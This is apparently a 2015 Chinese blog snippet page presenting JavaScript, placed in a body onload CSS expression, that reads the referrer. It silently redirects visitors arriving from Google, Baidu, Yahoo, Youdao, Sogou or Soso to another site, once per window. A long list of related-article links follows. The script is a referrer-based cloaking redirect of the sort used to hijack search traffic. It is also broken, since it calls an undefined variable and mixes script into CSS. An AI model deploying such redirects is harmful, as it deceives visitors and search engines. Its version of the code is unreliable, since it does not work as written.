JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
Javascript 类与静态类的实现
Apr 01 Javascript
鼠标移动到图片名上,显示图片的简单实例
Jul 14 Javascript
JS获取图片实际宽高及根据图片大小进行自适应
Aug 11 Javascript
jquery实现按Enter键触发事件示例
Sep 10 Javascript
JavaScript中的正则表达式简明总结
Apr 04 Javascript
js验证真实姓名与身份证号是否匹配
Oct 13 Javascript
js多功能分页组件layPage使用方法详解
May 19 Javascript
AngularJS中如何使用echart插件示例详解
Oct 26 Javascript
AngularJs中 ng-repeat指令中实现含有自定义指令的动态html的方法
Jan 19 Javascript
详解微信第三方小程序代开发
Jun 23 Javascript
JS/jQuery实现简单的开关灯效果【案例】
Feb 19 jQuery
Vue事件处理原理及过程详解
Mar 11 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
使用php清除bom示例
2014/03/03 PHP
php获得文件大小和文件创建时间的方法
2015/03/13 PHP
PHP检测用户语言的方法
2015/06/15 PHP
yii2多图上传组件的使用教程
2018/05/10 PHP
PHP如何将图片文件上传到另外一台服务器上
2019/08/26 PHP
php依赖注入知识点详解
2019/09/23 PHP
淘宝搜索框效果实现分析
2011/03/05 Javascript
JavaScript将一个数组插入到另一个数组的方法
2015/03/19 Javascript
使用jspdf生成pdf报表
2015/07/03 Javascript
JavaScript获取当前运行脚本文件所在目录的方法
2016/02/03 Javascript
Javascript实现图片轮播效果(二)图片序列节点的控制实现
2016/02/17 Javascript
详解JavaScript中数组和字符串的lastIndexOf()方法使用
2016/03/13 Javascript
AngularJS入门教程之控制器详解
2016/07/27 Javascript
写给vue新手们的vue渲染页面教程
2017/09/01 Javascript
vue.js实现简单轮播图效果
2017/10/10 Javascript
Sublime Text新建.vue模板并高亮(图文教程)
2017/10/26 Javascript
解决vue打包css文件中背景图片的路径问题
2018/09/03 Javascript
vue动态路由:路由参数改变,视图不更新问题的解决
2019/11/05 Javascript
[59:07]海涛为你详解DOTA2新版本“贤哲秘契”
2014/11/22 DOTA
Numpy中矩阵matrix读取一列的方法及数组和矩阵的相互转换实例
2018/07/02 Python
python脚本当作Linux中的服务启动实现方法
2019/06/28 Python
解决Pycharm 包已经下载,但是运行代码提示找不到模块的问题
2019/08/31 Python
python实现的Iou与Giou代码
2020/01/18 Python
python绘制动态曲线教程
2020/02/24 Python
Python连接HDFS实现文件上传下载及Pandas转换文本文件到CSV操作
2020/06/06 Python
python 使用多线程创建一个Buffer缓存器的实现思路
2020/07/02 Python
python 实现"神经衰弱"翻牌游戏
2020/11/09 Python
学点简单的Django之第一个Django程序的实现
2021/02/24 Python
HTML5之WebGL 3D概述(上)—WebGL原生开发开启网页3D渲染新时代
2013/01/31 HTML / CSS
活动总结书
2014/05/08 职场文书
ktv好的活动方案
2014/08/17 职场文书
2015年护士医德医风自我评价
2015/03/03 职场文书
2015年七一建党节慰问信
2015/03/23 职场文书
2015年党务工作者个人工作总结
2015/10/22 职场文书
Oracle 11g数据库使用expdp每周进行数据备份并上传到备份服务器
2022/06/28 Oracle
Win11如何查看显卡型号 Win11查看显卡型号的方法
2022/08/14 数码科技